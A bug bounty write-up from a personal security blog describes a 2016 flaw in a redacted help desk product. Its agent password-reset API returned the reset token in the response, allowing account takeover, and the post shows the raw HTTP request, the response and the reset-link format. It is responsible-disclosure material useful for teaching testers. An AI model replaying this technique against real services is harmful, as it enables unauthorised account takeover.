

cat ~/footstep.ninja/blog.txt

cat ~/footstep.ninja/blog.txt - Shuaib Oladigbolu, footstep.ninja.

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Content

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Tale of a Misconfiguration in Password Reset

This post is about a misconfiguration in password reset I found on a popular help desk software sometimes ago where they were leaking the reset token. And guess what? This was not in the `Referer` header :D but right in the response of the request itself.

[image: Shocked]

In this case one could initiate password reset for an account and immediately receive the reset token for that account.

The request looked like the following:

```
POST /api/v1/base/password/reset HTTP/1.1
Host: [team_name].redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 26
Connection: keep-alive

email=[agent_email_address]
```

And the response was:

```
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Oct 2016 20:00:29 GMT
Content-Type: application/json
Content-Length: 2194
Connection: keep-alive
Cache-Control: private, max-age=0, must-revalidate
Expires: 0
X-API-Version: 1
Date-ISO: 2016-10-25T20:00:29+00:00
Access-Control-Expose-Headers: Date-ISO
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Date-ISO: 2016-10-25T20:00:29+00:00
Access-Control-Expose-Headers: Date-ISO

{ "status": 200, "notifications": [ { "type": "SUCCESS", "message": "Password reset email
sent to [Name]", "sticky": false } ], "auth_token": "[token]" }
```

Notice the `auth_token`? Yes! That's the reset token you would receive in email on a valid password reset request. And the format of the password reset link was:

```
https://[team_name].redacted.com/Auth/ResetPassword/[auth_token]
```

Inserting the `auth_token` irrespective of the team name (as long as you use an existing team name) made it possible to reset the password to that account. And one could then proceed to login to this account(s) taking full control.

This was an easy win but considering that it was an help desk software, it also made it critical.

Takeaways?

- They had options user and agent accounts: the password reset endpoint for users wasn't vulnerable but that of agents was vulnerable which makes this an easy one to miss. So it is best to test functionalities having in mind that they may not have the same code base as identified here.
- Always check response to requests whenever you expect to receive a token in email.

Thanks to the team for fixing this almost immediately (within 2 hours of report). And thank you also for taking the time to read this.

Timeline

Oct 25, 2016 - Report Sent

Oct 25, 2016 - Report Triageed

Oct 25, 2016 - Fixed!

Oct 26, 2016 - Bounty awarded

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